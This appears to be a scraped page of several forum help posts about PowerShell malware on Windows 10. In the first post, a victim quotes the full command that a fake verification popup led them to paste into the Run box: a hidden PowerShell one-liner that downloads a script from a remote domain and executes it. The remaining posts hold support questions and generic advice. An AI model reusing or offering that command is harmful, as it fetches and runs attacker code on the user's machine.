Windows 10: Windows Run Powershell Virus

Hi, this was run on my windows run windows key+R powershell -NoP -w h -COM "$ctqh3 = '11x1.ink'; $eyl92 = Invoke-RestMethod -Uri $ctqh3; Invoke-Expression $eyl92" after somebody was downloading something on my pc followed verification of a sketchy popup. This is most likely a virus and when I saw it I plugged out the ethernet cable. Currently the pc is still on without internet . There has been a partial virus check done in windows security, nothing was found.I closed a suspicious file that was running in task manager. Then I used microsoft Autoruns in Administrator and removed a command l

:)

 

Help with PowerShell Virus!

Every time that I open windows, PowerShell pops up. I searched and I found that it's a PowerShell virus.

I followed the steps that are listed here,

How to uninstall PowerShell? *Trojan Virus* and Help with PowerShell Virus!

but nothing happened.

Autorun scan log

https://drive.google.com/file/d/178BS66D-qUMc6-UuRO-qFF57HfIy5vmX/view?usp=share_link





Bitdefender after every restart:





I really appreciate any help you can provide.

Windows 10 user

 

Defender sees powershell file as virus

I had been using powershell script attached with this for quite a long time. Now windows security is deleting that file as virus. Any suggestion what it finds as security threat?
When I try to exclude that file I get msg as below

 

PowerShell randomly poping-up in tool bar

Hello,

Just to verify, do you have any scheduled tasks that uses Powershell? Scheduled tasks makes Powershell window appear periodically on your computer, therefore we suggest that you check the Task Scheduler. Here are the steps:

• Click on Start.
• In the search bar, type Task Scheduler and click on
  
  Task Scheduler in the results.
• Under Active Tasks, check for any tasks that use Powershell and the scheduled time.

If the issue still persist, we suggest that you run a Windows Defender scan to see if it will pick up any malware that the first scan missed.

Let us know the outcome.